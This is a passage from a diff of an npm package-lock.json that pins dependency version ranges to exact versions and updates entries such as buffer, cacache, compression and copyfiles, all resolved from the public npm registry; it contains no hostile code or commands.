"^6.0.0", - "inherits": "^2.0.1", - "parse-asn1": "^5.0.0" + "bn.js": "4.11.8", + "browserify-rsa": "4.0.1", + "create-hash": "1.2.0", + "create-hmac": "1.1.7", + "elliptic": "6.5.1", + "inherits": "2.0.3", + "parse-asn1": "5.1.5" } }, "browserify-zlib": { @@ -2601,7 +2696,7 @@ "integrity": "sha512-Z942RysHXmJrhqk88FmKBVq/v5tqmSkDz7p54G/MGyjMnCFFnC79XWNbg+Vta8W6Wb2qtSZTSxIGkJrRpCFEiA==", "dev": true, "requires": { - "pako": "~1.0.5" + "pako": "1.0.10" } }, "browserslist": { @@ -2610,27 +2705,17 @@ "integrity": "sha512-WHVocJYavUwVgVViC0ORikPHQquXwVh939TaelZ4WDqpWgTX/FsGhl/+P4qBUAGcRvtOgDgC+xftNWWp2RUTAQ==", "dev": true, "requires": { - "caniuse-lite": "^1.0.30000844", - "electron-to-chromium": "^1.3.47" + "caniuse-lite": "1.0.30000877", + "electron-to-chromium": "1.3.58" } }, "buffer": { - "version": "4.9.1", - "resolved": "https://registry.npmjs.org/buffer/-/buffer-4.9.1.tgz", - "integrity": "sha1-bRu2AbB6TvztlwlBMgkwJ8lbwpg=", - "dev": true, + "version": "5.4.0", + "resolved": "https://registry.npmjs.org/buffer/-/buffer-5.4.0.tgz", + "integrity": "sha512-Xpgy0IwHK2N01ncykXTy6FpCWuM+CJSHoPVBLyNqyrWxsedpLvwsYUhf0ME3WRFNUhos0dMamz9cOS/xRDtU5g==", "requires": { - "base64-js": "^1.0.2", - "ieee754": "^1.1.4", - "isarray": "^1.0.0" - }, - "dependencies": { - "isarray": { - "version": "1.0.0", - "resolved": "https://registry.npmjs.org/isarray/-/isarray-1.0.0.tgz", - "integrity": "sha1-u5NdSFgsuhaMBoNJV6VKPgcSTxE=", - "dev": true - } + "base64-js": "1.3.1", + "ieee754": "1.1.13" } }, "buffer-alloc": { @@ -2639,8 +2724,8 @@ "integrity": "sha512-CFsHQgjtW1UChdXgbyJGtnm+O/uLQeZdtbDo8mfUgYXCHSM1wgrVxXm6bSyrUuErEb+4sYVGCzASBRot7zyrow==", "dev": true, "requires": { - "buffer-alloc-unsafe": "^1.1.0", - "buffer-fill": "^1.0.0" + "buffer-alloc-unsafe": "1.1.0", + "buffer-fill": "1.0.0" } }, "buffer-alloc-unsafe": { @@ -2655,6 +2740,12 @@ "integrity": "sha1-+PeLdniYiO858gXNY39o5wISKyw=", "dev": true }, + "buffer-from": { + "version": "1.1.1", + "resolved": "https://registry.npmjs.org/buffer-from/-/buffer-from-1.1.1.tgz", + "integrity": "sha512-MQcXEUbCKtEo7bhqEs6560Hyd4XaovZlO/k9V3hjVUF/zwW7KBVdSK4gIt/bzwS9MbR5qob+F5jusZsb0YQK2A==", + "dev": true + }, "buffer-indexof": { "version": "1.1.1", "resolved": "https://registry.npmjs.org/buffer-indexof/-/buffer-indexof-1.1.1.tgz", @@ -2679,37 +2770,60 @@ "dev": true }, "bytes": { - "version": "3.0.0", - "resolved": "https://registry.npmjs.org/bytes/-/bytes-3.0.0.tgz", - "integrity": "sha1-0ygVQE1olpn4Wk6k+odV3ROpYEg=", + "version": "3.1.0", + "resolved": "https://registry.npmjs.org/bytes/-/bytes-3.1.0.tgz", + "integrity": "sha512-zauLjrfCG+xvoyaqLoV8bLVXXNGC4JqlxFCutSDWA6fJrTo2ZuvLYTqZ7aHBLZSMOopbzwv8f+wZcVzfVTI2Dg==", "dev": true }, "cacache": { - "version": "10.0.4", - "resolved": "https://registry.npmjs.org/cacache/-/cacache-10.0.4.tgz", - "integrity": "sha512-Dph0MzuH+rTQzGPNT9fAnrPmMmjKfST6trxJeK7NQuHRaVw24VzPRWTmg9MpcwOVQZO0E1FBICUlFeNaKPIfHA==", + "version": "12.0.3", + "resolved": "https://registry.npmjs.org/cacache/-/cacache-12.0.3.tgz", + "integrity": "sha512-kqdmfXEGFepesTuROHMs3MpFLWrPkSSpRqOw80RCflZXy/khxaArvFrQ7uJxSUduzAufc6G0g1VUCOZXxWavPw==", "dev": true, "requires": { - "bluebird": "^3.5.1", - "chownr": "^1.0.1", - "glob": "^7.1.2", - "graceful-fs": "^4.1.11", - "lru-cache": "^4.1.1", - "mississippi": "^2.0.0", - "mkdirp": "^0.5.1", - "move-concurrently": "^1.0.1", - "promise-inflight": "^1.0.1", - "rimraf": "^2.6.2", - "ssri": "^5.2.4", - "unique-filename": "^1.1.0", - "y18n": "^4.0.0" + "bluebird": "3.5.5", + "chownr": "1.1.3", + "figgy-pudding": "3.5.1", + "glob": "7.1.6", + "graceful-fs": "4.2.3", + "infer-owner": "1.0.4", + "lru-cache": "5.1.1", + "mississippi": "3.0.0", + "mkdirp": "0.5.1", + "move-concurrently": "1.0.1", + "promise-inflight": "1.0.1", + "rimraf": "2.7.1", + "ssri": "6.0.1", + "unique-filename": "1.1.1", + "y18n": "4.0.0" }, "dependencies": { + "graceful-fs": { + "version": "4.2.3", + "resolved": "https://registry.npmjs.org/graceful-fs/-/graceful-fs-4.2.3.tgz", + "integrity": "sha512-a30VEBm4PEdx1dRB7MFK7BejejvCvBronbLjht+sHuGYj8PHs7M/5Z+rt5lw551vZ7yfTCj4Vuyy3mSJytDWRQ==", + "dev": true + }, + "lru-cache": { + "version": "5.1.1", + "resolved": "https://registry.npmjs.org/lru-cache/-/lru-cache-5.1.1.tgz", + "integrity": "sha512-KpNARQA3Iwv+jTA0utUVVbrh+Jlrr1Fv0e56GGzAFOXN7dk/FviaDW8LHmK52DlcH4WP2n6gI8vN1aesBFgo9w==", + "dev": true, + "requires": { + "yallist": "3.1.1" + } + }, "y18n": { "version": "4.0.0", "resolved": "https://registry.npmjs.org/y18n/-/y18n-4.0.0.tgz", "integrity": "sha512-r9S/ZyXu/Xu9q1tYlpsLIsa3EeLXXk0VwlxqTcFRfg9EhMW+17kbt9G0NrgCmhGb5vT2hyhJZLfDGx+7+5Uj/w==", "dev": true + }, + "yallist": { + "version": "3.1.1", + "resolved": "https://registry.npmjs.org/yallist/-/yallist-3.1.1.tgz", + "integrity": "sha512-a4UGQaWPH59mOXUYnAG2ewncQS4i4F43Tv3JoAM+s2VDAmS9NsK8GpDMLrCHPksFT7h3K6TOoUNn2pb7RoXx4g==", + "dev": true } } }, @@ -2719,15 +2833,15 @@ "integrity": "sha512-AKcdTnFSWATd5/GCPRxr2ChwIJ85CeyrEyjRHlKxQ56d4XJMGym0uAiKn0xbLOGOl3+yRpOTi484dVCEc5AUzQ==", "dev": true, "requires": { - "collection-visit": "^1.0.0", - "component-emitter": "^1.2.1", - "get-value": "^2.0.6", - "has-value": "^1.0.0", - "isobject": "^3.0.1", - "set-value": "^2.0.0", - "to-object-path": "^0.3.0", - "union-value": "^1.0.0", - "unset-value": "^1.0.0" + "collection-visit": "1.0.0", + "component-emitter": "1.3.0", + "get-value": "2.0.6", + "has-value": "1.0.0", + "isobject": "3.0.1", + "set-value": "2.0.1", + "to-object-path": "0.3.0", + "union-value": "1.0.1", + "unset-value": "1.0.0" }, "dependencies": { "isobject": { @@ -2738,50 +2852,20 @@ } } }, - "caller-callsite": { - "version": "2.0.0", - "resolved": "https://registry.npmjs.org/caller-callsite/-/caller-callsite-2.0.0.tgz", - "integrity": "sha1-hH4PzgoiN1CpoCfFSzNzGtMVQTQ=", - "requires": { - "callsites": "^2.0.0" - }, - "dependencies": { - "callsites": { - "version": "2.0.0", - "resolved": "https://registry.npmjs.org/callsites/-/callsites-2.0.0.tgz", - "integrity": "sha1-BuuE8A7qQT2oav/vrL/7Ngk7PFA=" - } - } - }, - "caller-path": { - "version": "0.1.0", - "resolved": "https://registry.npmjs.org/caller-path/-/caller-path-0.1.0.tgz", - "integrity": "sha1-lAhe9jWB7NPaqSREqP6U6CV3dR8=", - "dev": true, - "requires": { - "callsites": "^0.2.0" - } - }, "callsite": { "version": "1.0.0", "resolved": "https://registry.npmjs.org/callsite/-/callsite-1.0.0.tgz", "integrity": "sha1-KAOY5dZkvXQDi28JBRU+borxvCA=", "dev": true }, - "callsites": { - "version": "0.2.0", - "resolved": "https://registry.npmjs.org/callsites/-/callsites-0.2.0.tgz", - "integrity": "sha1-r6uWJikQp/M8GaV3WCXGnzTjUMo=", - "dev": true - }, "camel-case": { "version": "3.0.0", "resolved": "https://registry.npmjs.org/camel-case/-/camel-case-3.0.0.tgz", "integrity": "sha1-yjw2iKTpzzpM2nd9xNy8cTJJz3M=", "dev": true, "requires": { - "no-case": "^2.2.0", - "upper-case": "^1.1.1" + "no-case": "2.3.2", + "upper-case": "1.1.3" } }, "camelcase": { @@ -2796,8 +2880,8 @@ "resolved": "https://registry.npmjs.org/camelcase-keys/-/camelcase-keys-2.1.0.tgz", "integrity": "sha1-MIvur/3ygRkFHvodkyITyRuPkuc=", "requires": { - "camelcase": "^2.0.0", - "map-obj": "^1.0.0" + "camelcase": "2.1.1", + "map-obj": "1.0.1" }, "dependencies": { "camelcase": { @@ -2825,8 +2909,8 @@ "dev": true, "optional": true, "requires": { - "align-text": "^0.1.3", - "lazy-cache": "^1.0.3" + "align-text": "0.1.4", + "lazy-cache": "1.0.4" } }, "chai": { @@ -2835,12 +2919,12 @@ "integrity": "sha512-XQU3bhBukrOsQCuwZndwGcCVQHyZi53fQ6Ys1Fym7E4olpIqqZZhhoFJoaKVvV17lWQoXYwgWN2nF5crA8J2jw==", "dev": true, "requires": { - "assertion-error": "^1.1.0", - "check-error": "^1.0.2", - "deep-eql": "^3.0.1", - "get-func-name": "^2.0.0", - "pathval": "^1.1.0", - "type-detect": "^4.0.5" + "assertion-error": "1.1.0", + "check-error": "1.0.2", + "deep-eql": "3.0.1", + "get-func-name": "2.0.0", + "pathval": "1.1.0", + "type-detect": "4.0.8" } }, "chalk": { @@ -2848,11 +2932,11 @@ "resolved": "https://registry.npmjs.org/chalk/-/chalk-1.1.3.tgz", "integrity": "sha1-qBFcVeSnAv5NFQq9OHKCKn4J/Jg=", "requires": { - "ansi-styles": "^2.2.1", - "escape-string-regexp": "^1.0.2", - "has-ansi": "^2.0.0", - "strip-ansi": "^3.0.0", - "supports-color": "^2.0.0" + "ansi-styles": "2.2.1", + "escape-string-regexp": "1.0.5", + "has-ansi": "2.0.0", + "strip-ansi": "3.0.1", + "supports-color": "2.0.0" } }, "change-emitter": { @@ -2879,30 +2963,30 @@ "dev": true, "optional": true, "requires": { - "anymatch": "^1.3.0", - "async-each": "^1.0.0", - "fsevents": "^1.0.0", - "glob-parent": "^2.0.0", - "inherits": "^2.0.1", - "is-binary-path": "^1.0.0", - "is-glob": "^2.0.0", - "path-is-absolute": "^1.0.0", - "readdirp": "^2.0.0" + "anymatch": "1.3.2", + "async-each": "1.0.1", + "fsevents": "1.1.2", + "glob-parent": "2.0.0", + "inherits": "2.0.3", + "is-binary-path": "1.0.1", + "is-glob": "2.0.1", + "path-is-absolute": "1.0.1", + "readdirp": "2.1.0" } }, "chownr": { - "version": "1.1.1", - "resolved": "https://registry.npmjs.org/chownr/-/chownr-1.1.1.tgz", - "integrity": "sha512-j38EvO5+LHX84jlo6h4UzmOwi0UgW61WRyPtJz4qaadK5eY3BTS5TY/S1Stc3Uk2lIM6TPevAlULiEJwie860g==", + "version": "1.1.3", + "resolved": "https://registry.npmjs.org/chownr/-/chownr-1.1.3.tgz", + "integrity": "sha512-i70fVHhmV3DtTl6nqvZOnIjbY0Pe4kAUjwHj8z0zAdgBtYrJyYwLKCCuRBQ5ppkyL0AkN7HKRnETdmdp1zqNXw==", "dev": true }, "chrome-trace-event": { - "version": "1.0.0", - "resolved": "https://registry.npmjs.org/chrome-trace-event/-/chrome-trace-event-1.0.0.tgz", - "integrity": "sha512-xDbVgyfDTT2piup/h8dK/y4QZfJRSa73bw1WZ8b4XM1o7fsFubUVGYcE+1ANtOzJJELGpYoG2961z0Z6OAld9A==", + "version": "1.0.2", + "resolved": "https://registry.npmjs.org/chrome-trace-event/-/chrome-trace-event-1.0.2.tgz", + "integrity": "sha512-9e/zx1jw7B4CO+c/RXoCsfg/x1AfUBioy4owYH0bJprEYAx5hRFLRhWBqHAG57D0ZM4H7vxbP7bPe0VwhQRYDQ==", "dev": true, "requires": { - "tslib": "^1.9.0" + "tslib": "1.10.0" } }, "cipher-base": { @@ -2911,14 +2995,14 @@ "integrity": "sha512-Kkht5ye6ZGmwv40uUDZztayT2ThLQGfnj/T71N/XzeZeo3nf8foyW7zGTsPYkEya3m5f3cAypH+qe7YOrM1U2Q==", "dev": true, "requires": { - "inherits": "^2.0.1", - "safe-buffer": "^5.0.1" + "inherits": "2.0.3", + "safe-buffer": "5.1.1" } }, "circular-json": { - "version": "0.3.3", - "resolved": "https://registry.npmjs.org/circular-json/-/circular-json-0.3.3.tgz", - "integrity": "sha512-UZK3NBx2Mca+b5LsG7bY183pHWt5Y1xts4P3Pz7ENTwGVnJOUWbRb3ocjvX7hx9tq/yTAdclXm9sZ38gNuem4A==", + "version": "0.5.9", + "resolved": "https://registry.npmjs.org/circular-json/-/circular-json-0.5.9.tgz", + "integrity": "sha512-4ivwqHpIFJZBuhN3g/pEcdbnGUywkBblloGbkglyloVjjR3uT6tieI89MVOfbP2tHX5sgb01FuLgAOzebNlJNQ==", "dev": true }, "class-utils": { @@ -2927,10 +3011,10 @@ "integrity": "sha512-qOhPa/Fj7s6TY8H8esGu5QNpMMQxz79h+urzrNYN6mn+9BnxlDGf5QZ+XeCDsxSjPqsSR56XOZOJmpeurnLMeg==", "dev": true, "requires": { - "arr-union": "^3.1.0", - "define-property": "^0.2.5", - "isobject": "^3.0.0", - "static-extend": "^0.1.1" + "arr-union": "3.1.0", + "define-property": "0.2.5", + "isobject": "3.0.1", + "static-extend": "0.1.2" }, "dependencies": { "define-property": { @@ -2939,7 +3023,7 @@ "integrity": "sha1-w1se+RjsPJkPmlvFe+BKrOxcgRY=", "dev": true, "requires": { - "is-descriptor": "^0.1.0" + "is-descriptor": "0.1.6" } }, "isobject": { @@ -2953,7 +3037,7 @@ "classnames": { "version": "2.2.6", "resolved": "https://registry.npmjs.org/classnames/-/classnames-2.2.6.tgz", - "integrity": "sha1-Q5Nb/90pHzJtrQogUwmzjQD2UM4=" + "integrity": "sha512-JR/iSQOSt+LQIWwrwEzJ9uk0xfN3mTVYMwt1Ir5mUcSN6pU+V4zQFFaJsclJbPuAUQH+yfWef6tm7l1quW3C8Q==" }, "clean-css": { "version": "4.1.11", @@ -2961,7 +3045,7 @@ "integrity": "sha1-Ls3xRaujj1R0DybO/Q/z4D4SXWo=", "dev": true, "requires": { - "source-map": "0.5.x" + "source-map": "0.5.6" } }, "cli-cursor": { @@ -2970,7 +3054,7 @@ "integrity": "sha1-s12sN2R5+sw+lHR9QdDQ9SOP/LU=", "dev": true, "requires": { - "restore-cursor": "^2.0.0" + "restore-cursor": "2.0.0" } }, "cli-width": { @@ -2986,8 +3070,8 @@ "dev": true, "optional": true, "requires": { - "center-align": "^0.1.1", - "right-align": "^0.1.1", + "center-align": "0.1.3", + "right-align": "0.1.3", "wordwrap": "0.0.2" }, "dependencies": { @@ -3001,24 +3085,15 @@ } }, "clone-deep": { - "version": "2.0.2", - "resolved": "https://registry.npmjs.org/clone-deep/-/clone-deep-2.0.2.tgz", - "integrity": "sha512-SZegPTKjCgpQH63E+eN6mVEEPdQBOUzjyJm5Pora4lrwWRFS8I0QAxV/KD6vV/i0WuijHZWQC1fMsPEdxfdVCQ==", + "version": "4.0.1", + "resolved": "https://registry.npmjs.org/clone-deep/-/clone-deep-4.0.1.tgz", + "integrity": "sha512-neHB9xuzh/wk0dIHweyAXv2aPGZIVk3pLMe+/RNzINf17fe0OG96QroktYAUm7SM1PBnzTabaLboqqxDyMU+SQ==", "requires": { - "for-own": "^1.0.0", - "is-plain-object": "^2.0.4", - "kind-of": "^6.0.0", - "shallow-clone": "^1.0.0" + "is-plain-object": "2.0.4", + "kind-of": "6.0.2", + "shallow-clone": "3.0.1" }, "dependencies": { - "for-own": { - "version": "1.0.0", - "resolved": "https://registry.npmjs.org/for-own/-/for-own-1.0.0.tgz", - "integrity": "sha1-xjMy9BXO3EsE2/5wz4NklMU8tEs=", - "requires": { - "for-in": "^1.0.1" - } - }, "kind-of": { "version": "6.0.2", "resolved": "https://registry.npmjs.org/kind-of/-/kind-of-6.0.2.tgz", @@ -3029,7 +3104,8 @@ "co": { "version": "4.6.0", "resolved": "https://registry.npmjs.org/co/-/co-4.6.0.tgz", - "integrity": "sha1-bqa989hTrlTMuOR7+gvz+QMfsYQ=" + "integrity": "sha1-bqa989hTrlTMuOR7+gvz+QMfsYQ=", + "dev": true }, "code-point-at": { "version": "1.1.0", @@ -3042,29 +3118,27 @@ "integrity": "sha1-S8A3PBZLwykbTTaMgpzxqApZ3KA=", "dev": true, "requires": { - "map-visit": "^1.0.0", - "object-visit": "^1.0.0" + "map-visit": "1.0.0", + "object-visit": "1.0.1" } }, "color-convert": { "version": "1.9.0", "resolved": "https://registry.npmjs.org/color-convert/-/color-convert-1.9.0.tgz", "integrity": "sha1-Gsz5fdc5uYO/mU1W/sj5WFNkG3o=", - "dev": true, "requires": { - "color-name": "^1.1.1" + "color-name": "1.1.3" } }, "color-name": { "version": "1.1.3", "resolved": "https://registry.npmjs.org/color-name/-/color-name-1.1.3.tgz", - "integrity": "sha1-p9BVi9icQveV3UIyj3QIMcpTvCU=", - "dev": true + "integrity": "sha1-p9BVi9icQveV3UIyj3QIMcpTvCU=" }, "colors": { - "version": "1.3.1", - "resolved": "https://registry.npmjs.org/colors/-/colors-1.3.1.tgz", - "integrity": "sha512-jg/vxRmv430jixZrC+La5kMbUWqIg32/JsYNZb94+JEmzceYbWKTsv1OuTp+7EaqiaWRR2tPcykibwCRgclIsw==", + "version": "1.3.3", + "resolved": "https://registry.npmjs.org/colors/-/colors-1.3.3.tgz", + "integrity": "sha512-mmGt/1pZqYRjMxB1axhTo16/snVZ5krrKkcmMeVKxzECMMXoCgnvTPp10QgHfcbQZw8Dq2jMNG6je4JlWU0gWg==", "dev": true }, "combine-lists": { @@ -3073,7 +3147,7 @@ "integrity": "sha1-RYwH4J4NkA/Ci3Cj/sLazR0st/Y=", "dev": true, "requires": { - "lodash": "^4.5.0" + "lodash": "4.17.10" } }, "combined-stream": { @@ -3081,7 +3155,7 @@ "resolved": "https://registry.npmjs.org/combined-stream/-/combined-stream-1.0.6.tgz", "integrity": "sha1-cj599ugBrFYTETp+RFqbactjKBg=", "requires": { - "delayed-stream": "~1.0.0" + "delayed-stream": "1.0.0" } }, "commander": { @@ -3102,10 +3176,9 @@ "dev": true }, "component-emitter": { - "version": "1.2.1", - "resolved": "https://registry.npmjs.org/component-emitter/-/component-emitter-1.2.1.tgz", - "integrity": "sha1-E3kY1teCg/ffemt8WmPhQOaUJeY=", - "dev": true + "version": "1.3.0", + "resolved": "https://registry.npmjs.org/component-emitter/-/component-emitter-1.3.0.tgz", + "integrity": "sha512-Rd3se6QB+sO1TwqZjscQrurpEPIfO0/yYnSin6Q/rD3mOutHvUrCAhJub3r90uNb+SESBuE0QYoB90YdfatsRg==" }, "component-inherit": { "version": "0.0.3", @@ -3114,37 +3187,43 @@ "dev": true }, "compressible": { - "version": "2.0.15", - "resolved": "https://registry.npmjs.org/compressible/-/compressible-2.0.15.tgz", - "integrity": "sha512-4aE67DL33dSW9gw4CI2H/yTxqHLNcxp0yS6jB+4h+wr3e43+1z7vm0HU9qXOH8j+qjKuL8+UtkOxYQSMq60Ylw==", + "version": "2.0.17", + "resolved": "https://registry.npmjs.org/compressible/-/compressible-2.0.17.tgz", + "integrity": "sha512-BGHeLCK1GV7j1bSmQQAi26X+GgWcTjLr/0tzSvMCl3LH1w1IJ4PFSPoV5316b30cneTziC+B1a+3OjoSUcQYmw==", "dev": true, "requires": { - "mime-db": ">= 1.36.0 < 2" + "mime-db": "1.42.0" }, "dependencies": { "mime-db": { - "version": "1.36.0", - "resolved": "https://registry.npmjs.org/mime-db/-/mime-db-1.36.0.tgz", - "integrity": "sha512-L+xvyD9MkoYMXb1jAmzI/lWYAxAMCPvIBSWur0PZ5nOf5euahRLVqH//FKW9mWp2lkqUgYiXPgkzfMUFi4zVDw==", + "version": "1.42.0", + "resolved": "https://registry.npmjs.org/mime-db/-/mime-db-1.42.0.tgz", + "integrity": "sha512-UbfJCR4UAVRNgMpfImz05smAXK7+c+ZntjaA26ANtkXLlOe947Aag5zdIcKQULAiF9Cq4WxBi9jUs5zkA84bYQ==", "dev": true } } }, "compression": { - "version": "1.7.3", - "resolved": "https://registry.npmjs.org/compression/-/compression-1.7.3.tgz", - "integrity": "sha512-HSjyBG5N1Nnz7tF2+O7A9XUhyjru71/fwgNb7oIsEVHR0WShfs2tIS/EySLgiTe98aOK18YDlMXpzjCXY/n9mg==", + "version": "1.7.4", + "resolved": "https://registry.npmjs.org/compression/-/compression-1.7.4.tgz", + "integrity": "sha512-jaSIDzP9pZVS4ZfQ+TzvtiWhdpFhE2RDHz8QJkpX9SIpLq88VueF5jJw6t+6CUQcAoA6t+x89MLrWAqpfDE8iQ==", "dev": true, "requires": { - "accepts": "~1.3.5", + "accepts": "1.3.7", "bytes": "3.0.0", - "compressible": "~2.0.14", + "compressible": "2.0.17", "debug": "2.6.9", - "on-headers": "~1.0.1", + "on-headers": "1.0.2", "safe-buffer": "5.1.2", - "vary": "~1.1.2" + "vary": "1.1.2" }, "dependencies": { + "bytes": { + "version": "3.0.0", + "resolved": "https://registry.npmjs.org/bytes/-/bytes-3.0.0.tgz", + "integrity": "sha1-0ygVQE1olpn4Wk6k+odV3ROpYEg=", + "dev": true + }, "debug": { "version": "2.6.9", "resolved": "https://registry.npmjs.org/debug/-/debug-2.6.9.tgz", @@ -3173,9 +3252,9 @@ "integrity": "sha1-CqxmL9Ur54lk1VMvaUeE5wEQrPc=", "dev": true, "requires": { - "inherits": "^2.0.3", - "readable-stream": "^2.2.2", - "typedarray": "^0.0.6" + "inherits": "2.0.3", + "readable-stream": "2.3.3", + "typedarray": "0.0.6" }, "dependencies": { "isarray": { @@ -3190,13 +3269,13 @@ "integrity": "sha1-No8lEtefnUb9/HE0mueHi7weuVw=", "dev": true, "requires": { - "core-util-is": "~1.0.0", - "inherits": "~2.0.3", - "isarray": "~1.0.0", - "process-nextick-args": "~1.0.6", - "safe-buffer": "~5.1.1", - "string_decoder": "~1.0.3", - "util-deprecate": "~1.0.1" + "core-util-is": "1.0.2", + "inherits": "2.0.3", + "isarray": "1.0.0", + "process-nextick-args": "1.0.7", + "safe-buffer": "5.1.1", + "string_decoder": "1.0.3", + "util-deprecate": "1.0.2" } }, "string_decoder": { @@ -3205,20 +3284,20 @@ "integrity": "sha1-D8Z9fBQYJd6UKC3VNr7GubzoYKs=", "dev": true, "requires": { - "safe-buffer": "~5.1.0" + "safe-buffer": "5.1.1" } } } }, "connect": { - "version": "3.6.6", - "resolved": "https://registry.npmjs.org/connect/-/connect-3.6.6.tgz", - "integrity": "sha1-Ce/2xVr3I24TcTWnJXSFi2eG9SQ=", + "version": "3.7.0", + "resolved": "https://registry.npmjs.org/connect/-/connect-3.7.0.tgz", + "integrity": "sha512-ZqRXc+tZukToSNmh5C2iWMSoV3X1YUcPbqEM4DkEG5tNQXrQUZCNVGGv3IuicnkMtPfGf3Xtp8WCXs295iQ1pQ==", "dev": true, "requires": { "debug": "2.6.9", - "finalhandler": "1.1.0", - "parseurl": "~1.3.2", + "finalhandler": "1.1.2", + "parseurl": "1.3.3", "utils-merge": "1.0.1" }, "dependencies": { @@ -3234,19 +3313,16 @@ } }, "connect-history-api-fallback": { - "version": "1.5.0", - "resolved": "https://registry.npmjs.org/connect-history-api-fallback/-/connect-history-api-fallback-1.5.0.tgz", - "integrity": "sha1-sGhzk0vF40T+9hGhlqb6rgruAVo=", + "version": "1.6.0", + "resolved": "https://registry.npmjs.org/connect-history-api-fallback/-/connect-history-api-fallback-1.6.0.tgz", + "integrity": "sha512-e54B99q/OUoH64zYYRf3HBP5z24G38h5D3qXu23JGRoigpX5Ss4r9ZnDk3g0Z8uQC2x2lPaJ+UlWBc1ZWBWdLg==", "dev": true }, "console-browserify": { - "version": "1.1.0", - "resolved": "https://registry.npmjs.org/console-browserify/-/console-browserify-1.1.0.tgz", - "integrity": "sha1-8CQcRXMKn8YyOyBtvzjtx0HQuxA=", - "dev": true, - "requires": { - "date-now": "^0.1.4" - } + "version": "1.2.0", + "resolved": "https://registry.npmjs.org/console-browserify/-/console-browserify-1.2.0.tgz", + "integrity": "sha512-ZMkYO/LkF17QvCPqM0gxw8yUzigAOZOSWSHg91FH6orS7vcEj5dVZTidN2fQ14yBSdg97RqhSNwLUXInd52OTA==", + "dev": true }, "console-control-strings": { "version": "1.1.0", @@ -3260,10 +3336,21 @@ "dev": true }, "content-disposition": { - "version": "0.5.2", - "resolved": "https://registry.npmjs.org/content-disposition/-/content-disposition-0.5.2.tgz", - "integrity": "sha1-DPaLud318r55YcOoUXjLhdunjLQ=", - "dev": true + "version": "0.5.3", + "resolved": "https://registry.npmjs.org/content-disposition/-/content-disposition-0.5.3.tgz", + "integrity": "sha512-ExO0774ikEObIAEV9kDo50o+79VCUdEB6n6lzKgGwupcVeRlhrj3qGAfwq8G6uBJjkqLrhT0qEYFcWng8z1z0g==", + "dev": true, + "requires": { + "safe-buffer": "5.1.2" + }, + "dependencies": { + "safe-buffer": { + "version": "5.1.2", + "resolved": "https://registry.npmjs.org/safe-buffer/-/safe-buffer-5.1.2.tgz", + "integrity": "sha512-Gd2UZBJDkXlY7GbJxfsE8/nvKkUEU1G38c1siN6QP6a9PT9MmHB8GnpscSmMJSoF8LOIrt8ud/wPtojys4G6+g==", + "dev": true + } + } }, "content-type": { "version": "1.0.4", @@ -3294,12 +3381,12 @@ "integrity": "sha512-f2domd9fsVDFtaFcbaRZuYXwtdmnzqbADSwhSWYxYB/Q8zsdUUFMXVRwXGDMWmbEzAn1kdRrtI1T/KTFOL4X2A==", "dev": true, "requires": { - "aproba": "^1.1.1", - "fs-write-stream-atomic": "^1.0.8", - "iferr": "^0.1.5", - "mkdirp": "^0.5.1", - "rimraf": "^2.5.4", - "run-queue": "^1.0.0" + "aproba": "1.2.0", + "fs-write-stream-atomic": "1.0.10", + "iferr": "0.1.5", + "mkdirp": "0.5.1", + "rimraf": "2.7.1", + "run-queue": "1.0.3" } }, "copy-descriptor": { @@ -3309,88 +3396,175 @@ "dev": true }, "copy-to-clipboard": { - "version": "3.0.8", - "resolved": "https://registry.npmjs.org/copy-to-clipboard/-/copy-to-clipboard-3.0.8.tgz", - "integrity": "sha512-c3GdeY8qxCHGezVb1EFQfHYK/8NZRemgcTIzPq7PuxjHAf/raKibn2QdhHPb/y6q74PMgH6yizaDZlRmw6QyKw==", + "version": "3.2.0", + "resolved": "https://registry.npmjs.org/copy-to-clipboard/-/copy-to-clipboard-3.2.0.tgz", + "integrity": "sha512-eOZERzvCmxS8HWzugj4Uxl8OJxa7T2k1Gi0X5qavwydHIfuSHq2dTD09LOg/XyGq4Zpb5IsR/2OJ5lbOegz78w==", "requires": { - "toggle-selection": "^1.0.3" + "toggle-selection": "1.0.6" } }, "copyfiles": { - "version": "2.1.0", - "resolved": "https://registry.npmjs.org/copyfiles/-/copyfiles-2.1.0.tgz", - "integrity": "sha512-cAeDE0vL/koE9WSEGxqPpSyvU638Kgfu6wfrnj7kqp9FWa1CWsU54Coo6sdYZP4GstWa39tL/wIVJWfXcujgNA==", + "version": "2.1.1", + "resolved": "https://registry.npmjs.org/copyfiles/-/copyfiles-2.1.1.tgz", + "integrity": "sha512-y6DZHve80whydXzBal7r70TBgKMPKesVRR1Sn/raUu7Jh/i7iSLSyGvYaq0eMJ/3Y/CKghwzjY32q1WzEnpp3Q==", "dev": true, "requires": { - "glob": "^7.0.5", - "minimatch": "^3.0.3", - "mkdirp": "^0.5.1", + "glob": "7.1.6", + "minimatch": "3.0.4", + "mkdirp": "0.5.1", "noms": "0.0.0", - "through2": "^2.0.1", - "yargs": "^11.0.0" + "through2": "2.0.5", + "yargs": "13.3.0" }, "dependencies": { "ansi-regex": { - "version": "3.0.0", - "resolved": "https://registry.npmjs.org/ansi-regex/-/ansi-regex-3.0.0.tgz", - "integrity": "sha1-7QMXwyIGT3lGbAKWa922Bas32Zg=", + "version": "4.1.0", + "resolved": "https://registry.npmjs.org/ansi-regex/-/ansi-regex-4.1.0.tgz", + "integrity": "sha512-1apePfXM1UOSqw0o9IiFAovVz9M5S1Dg+4TrDwfMewQ6p/rmMueb7tWZjQ1rx4Loy1ArBggoqGpfqqdI4rondg==", "dev": true }, - "cliui": { - "version": "4.1.0", - "resolved": "https://registry.npmjs.org/cliui/-/cliui-4.1.0.tgz", - "integrity": "sha512-4FG+RSG9DL7uEwRUZXZn3SS34DiDPfzP0VOiEwtUWlE+AR2EIg+hSyvrIgUUfhdgR/UkAeW2QHgeP+hWrXs7jQ==", + "ansi-styles": { + "version": "3.2.1", + "resolved": "https://registry.npmjs.org/ansi-styles/-/ansi-styles-3.2.1.tgz", + "integrity": "sha512-VT0ZI6kZRdTh8YyJw3SMbYm/u+NqfsAxEpWO0Pf9sq8/e94WxxOpPKx9FR1FlyCtOVDNOQ+8ntlqFxiRc+r5qA==", "dev": true, "requires": { - "string-width": "^2.1.1", - "strip-ansi": "^4.0.0", - "wrap-ansi": "^2.0.0" + "color-convert": "1.9.0" + } + }, + "cliui": { + "version": "5.0.0", + "resolved": "https://registry.npmjs.org/cliui/-/cliui-5.0.0.tgz", + "integrity": "sha512-PYeGSEmmHM6zvoef2w8TPzlrnNpXIjTipYK780YswmIP9vjxmd6Y2a3CB2Ks6/AU8NHjZugXvo8w3oWM2qnwXA==", + "dev": true, + "requires": { + "string-width": "3.1.0", + "strip-ansi": 